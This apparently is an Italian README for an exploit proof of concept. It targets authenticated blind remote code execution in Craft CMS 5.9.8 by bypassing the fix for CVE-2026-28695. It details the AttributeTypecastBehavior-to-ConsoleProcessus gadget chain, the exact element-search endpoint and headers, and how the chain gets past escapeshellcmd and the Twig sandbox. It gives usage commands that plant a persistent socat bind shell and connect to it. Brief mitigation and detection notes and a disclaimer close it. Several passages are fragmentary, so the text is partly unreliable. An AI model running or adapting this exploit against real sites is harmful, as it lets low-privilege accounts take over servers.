
Esecuzione di codice remoto autenticata e **blind** in Craft CMS. Correzione per CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (approssimativo — verificare)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (origine SSTI)
Base : CVE-2026-28695 (SSTI tramite create() + Symfony Process)
Fix : fix advisory e31e508 (limita create() a BaseObject) — BYPASSATO qui
Interessa: Craft CMS ≤ 5.9.8 con il fix CVE-2026-28695 applicato
Esecuzione remota di codice autenticata e blind in Craft CMS. Il fix ufficiale per
CVE-2026-28695 limita create() solo alle sottoclassi di yii\base\BaseObject. Il
gadget yii\behaviors\AttributeTypecastBehavior è un BaseObject ma raggiunge comunque un
sink call_user_func(), quindi sopravvive al filtro. Veicolato attraverso l'azione non-Twig
admin/actions/element-search/search, aggira anche CRAFT_ENABLE_TWIG_SANDBOX.
È sufficiente un account Content Editor.
Il controller element-search di Craft deserializza JSON controllato dall'attaccante in oggetti PHP
vivi tramite la macchina Craft::createObject() / Instance di Yii. Allegando un
AttributeTypecastBehavior il cui attributeTypes mappa un attributo al callable
[Psy\Readline\Hoa\ConsoleProcessus, execute] e attivando l'evento beforeSave, il typecast diventa:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
L'endpoint risponde sempre con HTTP 500 e non restituisce alcun output del comando — l'esecuzione è blind.
create() + Symfony Process, raggiunto da un sink Twig
(tipicamente Entry Types → Title Format).e31e508 limita create() alle sottoclassi di BaseObject, e
il target gira anche con CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) e
CRAFT_ENABLE_TWIG_SANDBOX=true. Il vettore documentato è triplamente chiuso.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Doppio bypass, per costruzione:
element-search è un percorso di oggetti PHP, non un render Twig.
CRAFT_ENABLE_TWIG_SANDBOX controlla solo il motore di template, quindi non si applica mai.create() a BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, quindi soddisfa il nuovo vincolo
pur offrendo comunque un sink di esecuzione. Il fix chiude una famiglia di classi, non la
classe BaseObject.Endpoint:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() esegue il comando attraverso escapeshellcmd():
| && ; > < $() ' " → niente concatenazione, niente pipe, niente redirezione, niente
classica reverse shell bash.: , /Ecco perché il payload è una singola bind shell socat TCP-LISTEN,fork EXEC (argomenti in
: / , / /) invece di una reverse shell.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Stato | Versioni |
|---|---|
| Vulnerabile | Craft CMS ≤ 5.9.8 con il fix CVE-2026-28695 |
| Nota | Il gadget richiede una sessione CP autenticata |
| File | Ruolo |
|---|---|
exploit.py | PoC: login → verifica timing-oracle → singolo cmd → bind shell |
README.md | Questo file |
Richiede requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
Cosa succede:
AttributeTypecastBehavior a element-search.--check dimostra l'esecuzione blind tramite latenza iniettata; --bind avvia un listener socat.create()), e verificare la gestione delle condizioni di
element-search.CRAFT_ALLOW_ADMIN_CHANGES=false e minimizzare i privilegi dei Content Editor — l'autenticazione è
l'unico prerequisito qui.psy/psysh (Hoa) inclusa dove un gadget ConsoleProcessus::execute
è raggiungibile.element-search/search contenenti __class, as rce, o
AttributeTypecastBehavior; segnalare raffiche di HTTP 500 da quell'azione.e31e508 (restrizione create() → BaseObject)AttributeTypecastBehavior / yii\base\SecurityQuesto progetto è solo per test di sicurezza autorizzati, formazione e ricerca difensiva. Sei responsabile del rispetto delle leggi applicabili e delle regole di ingaggio del tuo laboratorio o cliente.